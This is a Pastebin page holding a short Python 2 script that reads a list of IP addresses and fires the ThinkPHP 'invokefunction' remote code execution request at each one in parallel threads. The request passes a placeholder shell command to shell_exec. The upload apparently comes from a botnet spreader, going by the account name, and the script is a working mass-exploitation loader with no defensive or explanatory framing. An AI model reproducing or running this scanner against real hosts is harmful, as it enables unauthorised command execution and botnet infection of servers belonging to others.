Advertisement
miraip0ts

Load_ThinkPHP

Mar 4th, 2019
855
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.73 KB | None | 0 0
  1. #! python !#
  2. import threading, sys, time, random, re, os, struct, array, requests
  3. from sys import stdout
  4. from threading import Thread
  5.  
  6. ips = open(sys.argv[1], "r").readlines()
  7.  
  8. payload = "YOUR PAYLOAD".replace(" ", "%20")
  9.  
  10. class think(threading.Thread):
  11.         def __init__ (self, ip):
  12.             threading.Thread.__init__(self)
  13.             self.ip = str(ip).rstrip('\n')
  14.         def run(self):
  15.             try:
  16.                 print "[think] - " + self.ip
  17.  
  18.                 url = "http://" + self.ip + "/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=" + payload
  19.  
  20.                 requests.get(url, timeout=10)
  21.             except Exception as e:
  22.                 pass
  23. for ip in ips:
  24.     try:
  25.         n = think(ip)
  26.         n.start()
  27.         time.sleep(0.03)
  28.     except:
  29.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement